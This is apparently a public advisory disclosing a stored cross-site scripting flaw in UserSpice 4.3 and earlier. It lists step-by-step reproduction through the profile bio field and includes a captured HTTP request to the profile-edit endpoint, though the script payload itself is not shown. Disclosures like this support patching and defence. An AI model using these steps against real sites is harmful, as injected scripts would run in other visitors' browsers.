Application UserSpice PHP user management
Vulnerability userSpice <= 4.3 Persistent Cross Site Scripting
URL https://userspice.com
Date 2.13.2018
Author Dolev Farhi
1. Login with a regular user
2. Navigate to Public profile
3. Edit your bio
4. Enter XSS payload
5. Once anyone visits the Bio page the payload will execute
POST /users/edit_profile.php HTTP/1.1
Host: 192.168.56.2
Content-Length: 59
Cache-Control: max-age=0
Origin: http://192.168.56.2
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.56.2/users/edit_profile.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,he;q=0.8
Connection: close
bio=&csrf=8b1339546d6af1e7536da0a705302e9c&update_bio=
Vulnerable code:
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